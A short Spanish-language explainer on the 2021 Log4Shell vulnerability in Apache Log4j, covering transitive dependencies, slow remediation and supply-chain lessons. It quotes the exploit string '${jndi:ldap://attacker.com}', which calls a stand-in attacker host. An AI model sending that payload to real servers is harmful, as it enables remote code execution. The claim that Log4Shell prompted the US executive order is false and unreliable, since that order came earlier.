En diciembre de 2021 se descubrió una vulnerabilidad crítica de día cero (CVE-2021-44228, apodada 'Log4Shell') en Apache Log4j, una biblioteca de registro de Java omnipresente utilizada en millones de aplicaciones y servidores de todo el mundo. La vulnerabilidad permitía a un atacante ejecutar código arbitrario en un servidor enviando una cadena especialmente diseñada, tan simple como introducir '${jndi:ldap://attacker.com}' en un campo de inicio de sesión.
La vulnerabilidad fue catastrófica porque Log4j estaba integrada en una enorme variedad de software: aplicaciones empresariales, servicios en la nube, servidores de juegos (Minecraft), dispositivos IoT y sistemas gubernamentales. Muchas organizaciones ni siquiera sabían que estaban ejecutando Log4j, porque era una dependencia transitiva enterrada en lo profundo de su pila de software.
La Apache Software Foundation publicó parches, pero la remediación fue lenta y compleja: las organizaciones tenían que identificar cada instancia de Log4j en sus sistemas, parchear cada una y verificar la corrección. La vulnerabilidad fue explotada activamente en cuestión de horas tras su divulgación. El caso ilustró la fragilidad de la cadena de suministro de software moderna: una sola vulnerabilidad en una biblioteca de código abierto ampliamente utilizada puede comprometer millones de sistemas simultáneamente.
El error Log4Shell en Apache Log4j dejó a millones de sistemas vulnerables, lo que obligó a un esfuerzo global de parcheo que costó miles de millones de dólares y semanas de trabajo.
Log4j estaba integrada en millones de aplicaciones como dependencia transitiva, a menudo desconocida para las organizaciones que la ejecutaban.
La vulnerabilidad permitía la ejecución remota de código con una cadena de explotación trivialmente simple.
La remediación fue lenta porque las organizaciones tenían que encontrar y parchear cada instancia de Log4j en su pila.
La vulnerabilidad fue explotada activamente en cuestión de horas tras su divulgación pública.
La pila de software moderna es una torre de dependencias, y la mayoría de las organizaciones no saben qué hay en la suya. Log4j estaba en todas partes. La pregunta no es '¿nos afecta?' sino '¿podemos averiguarlo primero?'.
Apache publicó parches y al CVE se le asignó una puntuación de gravedad de 10.0. El caso llevó al gobierno de Estados Unidos a emitir una orden ejecutiva sobre la seguridad de la cadena de suministro de software y aceleró la adopción de las listas de materiales de software (SBOM, por sus siglas en inglés). Log4j sigue siendo un punto de referencia para el riesgo de la cadena de suministro.
CONSULTA LAS PRUEBAS